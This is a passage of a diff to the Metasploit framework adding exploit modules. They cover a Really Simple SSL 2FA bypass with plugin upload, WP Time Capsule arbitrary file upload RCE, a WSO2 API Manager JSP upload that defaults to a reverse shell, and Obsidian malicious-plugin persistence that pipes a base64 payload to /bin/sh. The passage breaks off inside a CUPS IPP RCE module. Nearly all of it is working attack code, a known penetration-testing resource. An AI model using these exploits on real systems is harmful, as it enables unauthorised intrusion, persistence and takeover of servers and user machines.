vulnerable plugins list + # check_plugin_version_from_readme('really-simple-ssl', '9.1.2') + # check_plugin_version_from_readme('really-simple-ssl-pro', '9.1.2') + # check_plugin_version_from_readme('really-simple-ssl-pro-multisite', '9.1.2') + return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? + + print_status("WordPress Version: #{wordpress_version}") if wordpress_version + + %w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug| + plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0') + case plugin_check.code + when 'appears' + return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.") + when 'safe' + return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.") + end + end + + CheckCode::Unknown('No vulnerable plugins were detected.') + end + + def exploit + admin_cookie = bypass_2fa + fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookie') unless admin_cookie + + print_status('2FA bypass successful. Uploading plugin...') + upload_and_execute_payload(admin_cookie) + rescue StandardError => e + fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}") + end + + def bypass_2fa + user_id = datastore['USER_ID'] + login_nonce = Rex::Text.rand_text_numeric(10) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'ctype' => 'application/json', + 'data' => { + 'user_id' => user_id, + 'login_nonce' => login_nonce, + 'redirect_to' => '/wp-admin/' + }.to_json, + 'vars_get' => { + 'rest_route' => '/reallysimplessl/v1/two_fa/skip_onboarding' + } + }) + + fail_with(Failure::Unreachable, 'No response from the target') unless res + + case res.code + when 404 + fail_with(Failure::NotVulnerable, '2FA is not enabled or the plugin is misconfigured.') + when 200 + cookies = extract_cookies(res.get_cookies) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.') unless cookies + return cookies + else + fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.") + end + end + + def extract_cookies(cookie_header) + match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/) + return match[1] if match + + nil + end + + def upload_and_execute_payload(admin_cookie) + plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + + payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") + zip = generate_plugin(plugin_name, payload_name) + + uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) + fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded + + print_status("Executing the payload at #{payload_uri}...") + + register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") + register_dir_for_cleanup("../#{plugin_name}") + send_request_cgi({ + 'uri' => payload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb b/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb new file mode 100644 index 000000000000..13b9b8be8988 --- /dev/null +++ b/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin + (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote + code execution (RCE). + + The validation logic in the vulnerable function improperly checks for allowed extensions. + If no valid extension is found, the check can be bypassed by using a filename of specific length + (e.g., "00.php") matching the length of allowed extensions like ".crypt". + }, + 'Author' => [ + 'Valentin Lobstein', # Metasploit module + 'Rein Daelman' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2024-8856'], + ['URL', 'https://hacked.be/posts/CVE-2024-8856'], + ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[php unix linux win], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-15', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + end + + def php_exec_cmd(encoded_payload) + dis = '$' + Rex::RandomIdentifier::Generator.new.generate + b64_encoded_payload = Rex::Text.encode_base64(encoded_payload) + shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} + $cmd = base64_decode("#{b64_encoded_payload}"); + #{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)} + END_OF_PHP_CODE + + return Rex::Text.compress(shell) + end + + def check + return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? + + plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22') + case plugin_check.code + when 'appears' + return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.') + when 'safe' + return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.') + end + + CheckCode::Unknown('No vulnerable plugins were detected.') + end + + def exploit + base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php') + upload_path = normalize_uri(base_path, 'index.php') + + # Generate random filename matching constraints (6 characters total, ending in .php) + filename_prefix = Rex::Text.rand_text_alphanumeric(2) + payload_name = "#{filename_prefix}.php" + + random_mime_type = Faker::File.mime_type + + phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) + b64_payload = ' 'POST', + 'uri' => upload_path, + 'ctype' => 'multipart/form-data; boundary=' + mime.bound, + 'data' => mime.to_s + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload') + end + + vprint_good('Payload uploaded successfully. Parsing response...') + + json_response = res.get_json_document + url = json_response.dig('files', 0, 'url') + + fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil? + + vprint_status("Triggering the payload at: #{url}") + send_request_cgi( + 'method' => 'GET', + 'uri' => URI(url).path + ) + end +end diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb new file mode 100644 index 000000000000..f644240df58f --- /dev/null +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -0,0 +1,449 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + attr_accessor :bearer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution', + 'Description' => %q{ + A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions + (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled + server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + }, + 'Author' => [ + 'Siebene@ <@Siebene7>', # Discovery + 'Heyder Andrade <@HeyderAndrade>', # metasploit module + 'Redway Security ' # Writeup and PoC + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC + [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup + [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ] + ], + 'DefaultOptions' => { + 'Payload' => 'java/jsp_shell_reverse_tcp', + 'SSL' => true, + 'RPORT' => 9443 + }, + 'Platform' => %w[linux win], + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + [ + 'Automatic', {} + ], + [ + 'WSO2 API Manager (3.1.0 - 4.0.0)', { + 'min_version' => '3.1.0', + 'max_version' => '4.0.9', + 'api_version' => 'v2' + }, + ], + [ + 'WSO2 API Manager (4.1.0)', { + 'min_version' => '4.1.0', + 'max_version' => '4.1.9', + 'api_version' => 'v3' + } + ], + [ + 'WSO2 API Manager (4.2.0)', { + 'min_version' => '4.2.0', + 'max_version' => '4.2.9', + 'api_version' => 'v4' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-05-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']), + OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']), + OptString.new('HttpPassword', [true, 'WSO2 API manager password', '']) + ] + ) + end + + def check + vprint_status('Checking target...') + + begin + authenticate + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'services', 'Version'), + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ + + xml = res.get_xml_document + xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/) + version = Rex::Version.new ::Regexp.last_match(1) + + return CheckCode::Unknown('Unable to determine version') unless version + + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?( + Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9') + ) + + if target.name == 'Automatic' + # Find the target based on the detected version + selected_target_index = nil + targets.each_with_index do |t, idx| + if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version'])) + selected_target_index = idx + break + end + end + + return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index + + # Set the target + datastore['TARGET'] = selected_target_index + vprint_status("Automatically selected target: #{target.name} for version #{version}") + else + vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( + Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) + ) + end + + report_vuln( + host: rhost, + name: name, + refs: references, + info: [version] + ) + + return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.") + end + + def authenticate + nounce = nil + + opts = { + 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), + 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true + } + res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth + + if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) + vprint_status('Got session nonce') + nounce = ::Regexp.last_match(1) + end + + fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce + + auth_data = { + 'usernameUserInput' => datastore['HttpUsername'], + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'], + 'sessionDataKey' => nounce + } + + opts = { + 'uri' => normalize_uri(target_uri.path, '/commonauth'), + 'method' => 'POST', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true, + 'vars_post' => auth_data + } + + res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth + + if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) + vprint_status('Got bearer token') + self.bearer = ::Regexp.last_match(1) + end + + fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer + + print_good('Authentication successful') + end + + def list_product_api + vprint_status('Listing products APIs...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'vars_get' => { + 'limit' => 10, + 'offset' => 0 + }, + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200 + + api_list = res.get_json_document['list'] + + if api_list.empty? + print_error('No Products API available') + print_status('Trying to create an API...') + api_list = [create_product_api] + end + + return api_list + end + + def create_api + api_data = { + 'name' => Faker::App.name, + 'description' => Faker::Lorem.sentence, + 'context' => "/#{Faker::Internet.slug}", + 'version' => Faker::App.version, + 'transport' => ['http', 'https'], + 'tags' => [Faker::ProgrammingLanguage.name], + 'policies' => ['Unlimited'], + 'securityScheme' => ['oauth2'], + 'visibility' => 'PUBLIC', + 'businessInformation' => { + 'businessOwner' => Faker::Name.name, + 'businessOwnerEmail' => Faker::Internet.email, + 'technicalOwner' => Faker::Name.name, + 'technicalOwnerEmail' => Faker::Internet.email + }, + 'endpointConfig' => { + 'endpoint_type' => 'http', + 'sandbox_endpoints' => { + 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" + }, + 'production_endpoints' => { + 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" + } + }, + 'operations' => [ + { + 'target' => "/#{Faker::Internet.slug}", + 'verb' => 'GET', + 'throttlingPolicy' => 'Unlimited', + 'authType' => 'Application & Application User' + } + ] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201 + + print_good('API created successfully') + return res.get_json_document + end + + def create_product_api + @api_id = create_api['id'] + + product_api_data = { + 'name' => Faker::App.name, + 'context' => Faker::Internet.slug, + 'policies' => ['Unlimited'], + 'apis' => [ + { + 'name' => '', + 'apiId' => @api_id, + 'operations' => [], + 'version' => '1.0.0' + } + ], + 'transport' => ['http', 'https'] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => product_api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 + + @api_created = true + + print_good('API Product created successfully') + + return res.get_json_document + end + + def create_document(api_id) + doc_data = { + 'name' => Rex::Text.rand_text_alpha(4..7), + 'type' => 'HOWTO', + 'summary' => Faker::Lorem.sentence, + 'sourceType' => 'FILE', + 'visibility' => 'API_LEVEL' + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => doc_data.to_json + ) + + unless res&.code == 201 + vprint_error("Failed to create document for API #{api_id}") + return + end + + print_good('Document created successfully') + + return res.get_json_document['documentId'] + end + + def upload_payload(api_id, doc_id) + print_status('Uploading payload...') + + post_data = Rex::MIME::Message.new + post_data.bound = rand_text_numeric(32) + post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + ) + fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 + + register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}") + + print_good("Payload uploaded successfully. File: #{jsp_filename}") + + return res + end + + def execute_payload + print_status('Executing payload... ') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename), + 'method' => 'GET' + ) + + fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200 + + print_good('Payload executed successfully') + + handler + end + + def exploit + authenticate unless bearer + api_avaliable = list_product_api + api_avaliable.each do |product_api| + @product_api_id = product_api['id'] + @doc_id = create_document(@product_api_id) + next unless @doc_id + + res = upload_payload(@product_api_id, @doc_id) + if res&.code == 201 + execute_payload + break + end + end + end + + def cleanup + return unless session_created? + + super + + # If we have created the API, we need to delete it; thus the documentation + return delele_product_api && delele_api if @api_created + + # If the API was already there, we deleted only the documentation. + delete_document + end + + def jsp_filename + @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" + end + + def delete_document + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return res&.code == 200 + end + + def delele_api + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + return res&.code == 200 + end + + def delele_product_api + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + return res&.code == 200 + end + +end diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/local/obsidian_plugin_persistence.rb new file mode 100644 index 000000000000..eeebb69efabc --- /dev/null +++ b/modules/exploits/multi/local/obsidian_plugin_persistence.rb @@ -0,0 +1,256 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix # whoami + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Obsidian Plugin Persistence', + 'Description' => %q{ + This module searches for Obsidian vaults for a user, and uploads a malicious + community plugin to the vault. The vaults must be opened with community + plugins enabled (NOT restricted mode), but the plugin will be enabled + automatically. + + Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Module + 'Thomas Byrne' # Research, PoC + ], + 'DisclosureDate' => '2022-09-16', + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Privileged' => false, + 'References' => [ + [ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ], + [ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ], + [ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ], + [ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ], + [ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ] + ], + 'Arch' => [ARCH_CMD], + 'Platform' => %w[osx linux windows], + 'DefaultOptions' => { + # 25hrs, you know, just in case the user doesn't open Obsidian for a while + 'WfsDelay' => 90_000, + 'PrependMigrate' => true + }, + 'Payload' => { + 'BadChars' => '"' + }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Targets' => [ + ['Auto', {} ], + ['Linux', { 'Platform' => 'unix' } ], + ['OSX', { 'Platform' => 'osx' } ], + ['Windows', { 'Platform' => 'windows' } ], + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] + }, + 'DefaultTarget' => 0 + ) + ) + + register_options([ + OptString.new('NAME', [ false, 'Name of the plugin', '' ]), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), + OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), + ]) + end + + def plugin_name + return datastore['NAME'] unless datastore['NAME'].blank? + + rand_text_alphanumeric(4..10) + end + + def find_vaults + vaults_found = [] + user = target_user + vprint_status("Target User: #{user}") + case session.platform + when 'windows', 'win' + config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"] + when 'osx' + config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"] + when 'linux' + config_files = [ + "/home/#{user}/.config/obsidian/obsidian.json", + "/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json" + ] # snap package + end + + config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty? + + config_files.each do |config_file| + next unless file?(config_file) + + vprint_status("Found user obsidian file: #{config_file}") + config_contents = read_file(config_file) + return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? + + begin + vaults = JSON.parse(config_contents) + rescue JSON::ParserError + vprint_error("Failed to parse JSON from #{config_file}") + next + end + + vaults_found = vaults['vaults'] + if vaults_found.nil? + vprint_error("No vaults found in #{config_file}") + next + end + + vaults['vaults'].each do |k, v| + if v['open'] + print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") + else + print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") + end + end + end + + vaults_found + end + + def manifest_js(plugin_name) + JSON.pretty_generate({ + 'id' => plugin_name.gsub(' ', '_'), + 'name' => plugin_name, + 'version' => '1.0.0', + 'minAppVersion' => '0.15.0', + 'description' => '', + 'author' => 'Obsidian', + 'authorUrl' => 'https://obsidian.md', + 'isDesktopOnly' => false + }) + end + + def main_js(_plugin_name) + if ['windows', 'win'].include? session.platform + payload_stub = payload.encoded.to_s + else + payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" + end + %% +/* +THIS IS A GENERATED/BUNDLED FILE BY ESBUILD +if you want to view the source, please visit the github repository of this plugin +*/ + +var __defProp = Object.defineProperty; +var __getOwnPropDesc = Object.getOwnPropertyDescriptor; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { get: all[name], enumerable: true }); +}; +var __copyProps = (to, from, except, desc) => { + if (from && typeof from === "object" || typeof from === "function") { + for (let key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(to, key) && key !== except) + __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); + } + return to; +}; +var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); + +// main.ts +var main_exports = {}; +__export(main_exports, { + default: () => ExamplePlugin +}); +module.exports = __toCommonJS(main_exports); +var import_obsidian = require("obsidian"); +var ExamplePlugin = class extends import_obsidian.Plugin { + async onload() { + var command = "#{payload_stub}"; + const { exec } = require("child_process"); + exec(command, (error, stdout, stderr) => { + if (error) { + console.log(`error: ${error.message}`); + return; + } + if (stderr) { + console.log(`stderr: ${stderr}`); + return; + } + console.log(`stdout: ${stdout}`); + }); + } + async onunload() { + } +}; +% + end + + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform + + whoami + end + + def check + return CheckCode::Appears('Vaults found') unless find_vaults.empty? + + CheckCode::Safe('No vaults found') + end + + def exploit + plugin = plugin_name + print_status("Using plugin name: #{plugin}") + vaults = find_vaults + fail_with(Failure::NotFound, 'No vaults found') if vaults.empty? + vaults.each_value do |vault| + print_status("Uploading plugin to vault #{vault['path']}") + # avoid mkdir function because that registers it for delete, and we don't want that for + # persistent modules + if ['windows', 'win'].include? session.platform + cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"") + else + cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'") + end + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") + write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") + write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) + + # read in the enabled community plugins, and add ours to the enabled list + if file?("#{vault['path']}/.obsidian/community-plugins.json") + plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") + begin + plugins = JSON.parse(plugins) + vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") + path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) + print_good("Config file saved in: #{path}") + rescue JSON::ParserError + plugins = [] + end + + plugins << plugin unless plugins.include?(plugin) + else + plugins = [plugin] + end + vprint_status("adding #{plugin} to the enabled community plugins list") + write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins)) + print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.') + end + end +end diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb new file mode 100644 index 000000000000..90013c72fa9b --- /dev/null +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -0,0 +1,605 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Exploit::Remote::DNS::Common + include Exploit::Remote::SocketServer + include Msf::Exploit::Remote::HttpServer::HTML + + # Accessor for IPP HTTP service + attr_accessor :service2 + + MULTICAST_ADDR = '224.0.0.251' + + # Define IPP constants + module TagEnum + UNSUPPORTED_VALUE = 0x10 + + UNKNOWN_VALUE = 0x12 + NO_VALUE = 0x13 + + # Integer types + INTEGER = 0x21 + BOOLEAN = 0x22 + ENUM = 0x23 + + # String types + OCTET_STR = 0x30 + DATETIME_STR = 0x31 + RESOLUTION = 0x32 + RANGE_OF_INTEGER = 0x33 + TEXT_WITH_LANGUAGE = 0x35 + NAME_WITH_LANGUAGE = 0x36 + + TEXT_WITHOUT_LANGUAGE = 0x41 + NAME_WITHOUT_LANGUAGE = 0x42 + KEYWORD = 0x44 + URI = 0x45 + URI_SCHEME = 0x46 + CHARSET = 0x47 + NATURAL_LANGUAGE = 0x48 + MIME_MEDIA_TYPE = 0x49 + end + + # Define IPP printer operations + module OperationEnum + # https://tools.ietf.org/html/rfc2911#section-4.4.15 + PRINT_JOB = 0x0002 + VALIDATE_JOB = 0x0004 + CANCEL_JOB = 0x0008 + GET_JOB_ATTRIBUTES = 0x0009 + GET_JOBS = 0x000a + GET_PRINTER_ATTRIBUTES = 0x000b + + # 0x4000 - 0xFFFF is for extensions + # CUPS extensions listed here: + # https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html + CUPS_GET_DEFAULT = 0x4001 + CUPS_LIST_ALL_PRINTERS = 0x4002 + end + + module JobStateEnum + # https://tools.ietf.org/html/rfc2911#section-4.3.7 + PENDING = 3 # AKA "IDLE" + PENDING_HELD = 4 + PROCESSING = 5 + PROCESSING_STOPPED = 6 + CANCELED = 7 + ABORTED = 8 + COMPLETED = 9 + end + + # Define IPP section constants + module SectionEnum + SECTIONS = 0x00 + SECTIONS_MASK = 0xf0 + OPERATION = 0x01 + JOB = 0x02 + ENDTAG = 0x03 # Changed from END + PRINTER = 0x04 + UNSUPPORTED = 0x05 + end + + class MulticastComm < Rex::Socket::Comm::Local + # hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket) + # without this in place, the module won't work on a system with multiple network interfaces + def self.create_by_type(param, type, proto = 0) + socket = super + socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255) + + membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership) + socket + end + + end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CUPS IPP Attributes LAN Remote Code Execution', + 'Description' => %q{ + This module exploits vulnerabilities in OpenPrinting CUPS, which is running by + default on most Linux distributions. The vulnerabilities allow an attacker on + the LAN to advertise a malicious printer that triggers remote code execution + when a victim sends a print job to the malicious printer. Successful exploitation + requires user interaction, but no CUPS services need to be reachable via accessible + ports. Code execution occurs in the context of the lp user. Affected versions + are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and + cups-filters <= 2.0.1. + }, + 'Author' => [ + # Original researcher + 'Simone Margaritelli', + # Public exploit + 'Rick de Jager', + # IPP server implementation based on Python's ipp-server + 'David Batley', + # mDNS 